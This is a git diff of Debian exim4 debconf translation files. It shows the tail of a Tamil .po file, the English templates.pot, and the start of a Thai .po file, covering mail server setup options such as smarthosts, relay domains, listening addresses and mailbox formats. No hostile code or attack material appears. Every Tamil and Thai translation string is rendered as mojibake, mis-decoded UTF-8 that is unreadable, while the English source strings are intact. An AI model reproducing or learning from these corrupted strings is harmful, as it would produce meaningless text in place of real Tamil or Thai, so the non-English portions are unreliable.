உதாரணமாக செயà¯à®¤à®¿à®•à®³à¯ இலà¯à®²à®¾à®¤ போதà¯à®®à¯ எகà¯à®¸à¯ இம௠஠தà¯à®µà®•à¯à®•à®¿ ஓடà¯à®Ÿà¯à®µà®¤à¯ " + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"இநà¯à®¤ கணினி டயல௠ஆன௠டிமாணà¯à®Ÿà¯ à®®à¯à®±à¯ˆà®¯à¯ˆ பயன௠படà¯à®¤à¯à®¤à¯à®®à®¾à®©à®¾à®²à¯ இநà¯à®¤ தேரà¯à®µà¯ˆ தேரà¯à®¨à¯à®¤à¯†à®Ÿà¯à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯. " +"மாறà¯à®±à®¾à®• எபà¯à®ªà¯‹à®¤à¯à®®à¯‡ வலையà¯à®Ÿà®©à¯ இணைகà¯à®•à®ªà¯ படà¯à®Ÿà¯ இரà¯à®ªà¯à®ªà®¿à®©à¯ இநà¯à®¤ தேரà¯à®µà¯ˆ செயல௠நீகà¯à®•à®®à¯ செயà¯à®¯ வேணà¯à®Ÿà¯à®®à¯." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "அஞà¯à®šà®²à¯ சேவையக வடிவமைபà¯à®ªà¯" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "வடிவமைபà¯à®ªà¯ˆ சிற௠கோபà¯à®ªà¯à®•à®³à®¾à®• பிரிகà¯à®•à®µà®¾?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"டெபியன௠எகà¯à®¸à¯à®‡à®®à¯4 பொதிகள௠'பிரிகà¯à®•à®ªà¯ படாத வடிவமைபà¯à®ªà¯ˆà®¯à¯‹' (ஒரே பெரிய கோபà¯à®ªà®¾à®© /etc/exim4/" +"exim4.conf.template) அலà¯à®²à®¤à¯ எகà¯à®¸à¯ இம௠வடிவமைபà¯à®ªà¯ கோபà¯à®ªà¯à®•à®³à¯ /etc/exim4/conf.d/ " +"யிலிரà¯à®¨à¯à®¤à¯ 50 சிற௠கோபà¯à®ªà¯à®•à®³à®¿à®²à®¿à®°à¯à®¨à¯à®¤à¯ தொகà¯à®•à¯à®•à®ªà¯à®ªà®Ÿà¯ 'பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ வடிவமைபà¯à®ªà¯ˆà®¯à¯‹' பயன௠" +"படà¯à®¤à¯à®¤à¯à®µà®¤à®¾à®•à®µà¯‹ இரà¯à®•à¯à®•à®•à¯ கூடà¯à®®à¯." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"பெரிய அளவில௠மாறà¯à®¤à®²à¯à®•à®³à¯à®•à¯à®•à¯ வசதியாக இரà¯à®ªà¯à®ªà®¤à®¾à®²à¯à®®à¯ பொதà¯à®µà®¾à®• மேலà¯à®®à¯ உறà¯à®¤à®¿à®¯à®¾à®• " +"இரà¯à®ªà¯à®ªà®¤à®¾à®²à¯à®®à¯ பிரிகà¯à®•à®ªà¯ படாத வடிவமைபà¯à®ªà¯‡ நலà¯à®²à®¤à¯. பிரிகà¯à®•à®ªà¯ படà¯à®Ÿ வடிவமைபà¯à®ªà®¿à®²à¯ சà¯à®²à®ªà®®à®¾à®• சிற௠" +"மாறà¯à®¤à®²à¯à®•à®³à¯ˆà®šà¯ செயà¯à®¯à®²à®¾à®®à¯. ஆனால௠இத௠மேலà¯à®®à¯ மெலிதானதà¯. கவனகà¯à®•à¯à®±à¯ˆà®µà®¾à®• மாறà¯à®¤à®²à¯à®•à®³à¯ˆà®šà¯ செயà¯à®¤à®¾à®²à¯ " +"இத௠சிதைநà¯à®¤à¯ விடக௠கூடà¯à®®à¯." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"பிரிதà¯à®¤ பிரிகà¯à®•à®¾à®¤ வடிவமைபà¯à®ªà¯à®•à®³à¯ பறà¯à®±à®¿ /usr/share/doc/exim4-base/ இல௠டெபியனà¯à®•à¯à®•à®¾à®© " +"README கோபà¯à®ªà¯à®•à®³à®¿à®²à¯ மேலà¯à®®à¯ விரிவான விவாதஙà¯à®•à®³à¯ உளà¯à®³à®©." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "வெளிசà¯à®šà¯†à®²à¯à®²à¯à®®à¯ அஞà¯à®šà®²à®¿à®²à¯ உள௠அஞà¯à®šà®²à¯ பெயரை மறைகà¯à®•à®µà®¾?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"வேற௠கணினியிலிரà¯à®¨à¯à®¤à¯ அனà¯à®ªà¯à®ªà¯à®µà®¤à¯ போல தோறà¯à®±à®®à®³à®¿à®•à¯à®•à¯à®®à¯à®ªà®Ÿà®¿ அஞà¯à®šà®²à¯à®•à®³à®¿à®©à¯ தலைபà¯à®ªà¯à®•à¯à®•à®³à¯ˆ மாறà¯à®±à®¿ " +"எழà¯à®¤ இயலà¯à®®à¯. இநà¯à®¤ தேரà¯à®µà¯ˆ தேரà¯à®¨à¯à®¤à®¾à®²à¯ அனà¯à®ªà¯à®ªà¯à®©à®°à¯ (From,), பதில௠எழà¯à®¤(Reply-To), " +"அனà¯à®ªà¯à®ªà¯à®©à®°à¯ மறà¯à®±à¯à®®à¯ திரà¯à®ªà¯à®ªà¯à®ªà¯ பாதை (Sender and Return-Path) ஆகியவறà¯à®±à®¿à®²à¯ " +"'${mailname}', 'localhost' மறà¯à®±à¯à®®à¯ '${dc_other_hostnames}' ஆகியவை மாறà¯à®±à®¿ எழà¯à®¤à®ªà¯ " +"படà¯à®®à¯." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr " /var/mail/ இல௠எமà¯à®ªà®¾à®•à¯à®¸à¯ à®’à®´à¯à®™à¯à®•à¯" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "இலà¯à®² அடைவில௠அஞà¯à®šà®²à¯ அடைவ௠ஒழà¯à®™à¯à®•à¯" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "உள௠அஞà¯à®šà®²à¯à®•à¯à®•à¯ வினியோக à®®à¯à®±à¯ˆ:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"எகà¯à®¸à¯ இம௠ஆல௠உள௠அஞà¯à®šà®²à¯à®•à¯à®•à¯ வெவà¯à®µà¯‡à®±à¯ à®’à®´à¯à®™à¯à®•à¯ à®®à¯à®±à¯ˆà®•à®³à¯ˆ வைகà¯à®• இயலà¯à®®à¯. வழகà¯à®•à®®à®¾à®• பயனà¯à®ªà®Ÿà¯à®µà®¤à¯ " +"எமà¯à®ªà®¾à®•à¯à®¸à¯ மறà¯à®±à¯à®®à¯ மெயிலà¯à®Ÿà®¿à®°à¯ எமà¯à®ªà®¾à®•à¯à®¸à¯ à®®à¯à®´à¯à®®à¯ˆà®¯à®¾à®© அஞà¯à®šà®²à¯ அடைவà¯à®•à¯à®•à¯ /var/mail/இல௠ஒரே ஒர௠" +"கோபà¯à®ªà¯ˆ பயன௠படà¯à®¤à¯à®¤à¯à®•à®¿à®±à®¤à¯. மெயிலà¯à®Ÿà®¿à®°à¯ à®’à®´à¯à®™à¯à®•à®¿à®²à¯ ஒவà¯à®µà¯Šà®°à¯ அஞà¯à®šà®²à¯à®®à¯ ~/Maildir/. அடைவில௠" +"தனிதà¯à®¤à®©à®¿à®•à¯ கோபà¯à®ªà®¿à®²à¯ சேமிகà¯à®•à®ªà¯ படà¯à®•à®¿à®±à®¤à¯." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"டெபியன௠இல௠பெரà¯à®®à¯à®ªà®¾à®²à®¾à®© அஞà¯à®šà®²à¯ கரà¯à®µà®¿à®•à®³à¯ உள௠அஞà¯à®šà®²à¯ வினியோகம௠மà¯à®©à¯à®©à®¿à®°à¯à®ªà¯à®ªà®¾à®• எமà¯à®ªà®¾à®•à¯à®¸à¯ ஆக " +"இரà¯à®•à¯à®• வேணà¯à®Ÿà¯à®®à¯ என எதிர௠பாரà¯à®•à¯à®•à®¿à®©à¯à®±à®© என அறியவà¯à®®à¯." diff --git a/debian/po/templates.pot b/debian/po/templates.pot new file mode 100644 index 0000000..86217da --- /dev/null +++ b/debian/po/templates.pot @@ -0,0 +1,518 @@ +# SOME DESCRIPTIVE TITLE. +# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER +# This file is distributed under the same license as the PACKAGE package. +# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR. +# +#, fuzzy +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" +"Language-Team: LANGUAGE <LL@li.org>\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=CHARSET\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" diff --git a/debian/po/th.po b/debian/po/th.po new file mode 100644 index 0000000..dc2bc8a --- /dev/null +++ b/debian/po/th.po @@ -0,0 +1,752 @@ +# Thai translation of exim4. +# Copyright (C) 2006-2007 Software in the Public Interest, Inc. +# This file is distributed under the same license as the exim4 package. +# Theppitak Karoonboonyanan <thep@linux.thai.net>, 2006-2007. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-06-15 14:50+0700\n" +"Last-Translator: Theppitak Karoonboonyanan <thep@linux.thai.net>\n" +"Language-Team: Thai <thai-l10n@googlegroups.com>\n" +"Language: th\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "จะลบเมลà¸à¸²à¸à¸ªà¹ˆà¸‡à¸—ี่ตà¸à¸„้างà¸à¸¢à¸¹à¹ˆà¹ƒà¸™à¹„ดเรà¸à¸—à¸à¸£à¸µ spool หรืà¸à¹„ม่?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"มีเมลตà¸à¸„้างà¸à¸¢à¸¹à¹ˆà¹ƒà¸™à¹„ดเรà¸à¸—à¸à¸£à¸µ spool ขà¸à¸‡ Exim /var/spool/exim4/input ซึ่งยังไม่ได้ส่ง " +"à¸à¸²à¸£à¸–à¸à¸”ถà¸à¸™ Exim จะทิ้งเมลเหล่านั้นไว้โดยไม่ส่ง จนà¸à¸§à¹ˆà¸²à¸ˆà¸°à¸•à¸´à¸”ตั้ง Exim ใหม่" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"ถ้าไม่เลืà¸à¸à¸•à¸±à¸§à¹€à¸¥à¸·à¸à¸à¸™à¸µà¹‰ ไดเรà¸à¸—à¸à¸£à¸µ spool จะถูà¸à¹€à¸à¹‡à¸šà¸£à¸±à¸à¸©à¸²à¹„ว้ " +"à¹à¸¥à¸°à¸ˆà¸°à¸ªà¸²à¸¡à¸²à¸£à¸–ส่งเมลเหล่านั้นได้ในภายหลัง เมื่à¸à¹„ด้ติดตั้ง Exim ใหม่à¸à¸µà¸à¸„รั้ง" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "ตั้งค่า exim4-config ไม่ใช่à¹à¸žà¸à¹€à¸à¸ˆà¸™à¸µà¹‰" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 มีระบบตั้งค่าà¹à¸¢à¸à¸à¸à¸à¹„ปในà¹à¸žà¸à¹€à¸à¸ˆà¸•à¹ˆà¸²à¸‡à¸«à¸²à¸ คืภexim4-config ถ้าคุณต้à¸à¸‡à¸à¸²à¸£à¸•à¸±à¹‰à¸‡à¸„่า Exim4 " +"ให้เรียภ'dpkg-reconfigure exim4-config'" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "ไซต์à¸à¸´à¸™à¹€à¸—à¸à¸£à¹Œà¹€à¸™à¹‡à¸•; ส่งà¹à¸¥à¸°à¸£à¸±à¸šà¹€à¸¡à¸¥à¹‚ดยตรงด้วย SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "ส่งเมลด้วย smarthost; รับเมลด้วย SMTP หรืภfetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "ส่งเมลด้วย smarthost; ไม่รับเมลในเครื่à¸à¸‡" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "ส่งเมลภายในเครื่à¸à¸‡à¹€à¸—่านั้น; ไม่ได้เชื่à¸à¸¡à¸•à¹ˆà¸à¹€à¸„รืà¸à¸‚่าย" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ไม่ตั้งค่าในตà¸à¸™à¸™à¸µà¹‰" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "ชนิดค่าตั้งเมลโดยทั่วไป:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "เลืà¸à¸à¸Šà¸™à¸´à¸”เซิร์ฟเวà¸à¸£à¹Œà¹€à¸¡à¸¥à¸—ี่ตรงà¸à¸±à¸šà¸„วามต้à¸à¸‡à¸à¸²à¸£à¸‚à¸à¸‡à¸„ุณ" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"ระบบที่ใช้หมายเลข IP à¹à¸šà¸š dynamic ซึ่งรวมทั้งระบบที่ต่à¸à¸—างโทรศัพท์ " +"ควรจะตั้งค่าให้ส่งเมลขาà¸à¸à¸à¹„ปยังà¸à¸µà¸à¹€à¸„รื่à¸à¸‡à¸«à¸™à¸¶à¹ˆà¸‡ ซึ่งเรียà¸à¸§à¹ˆà¸² 'smarthost' 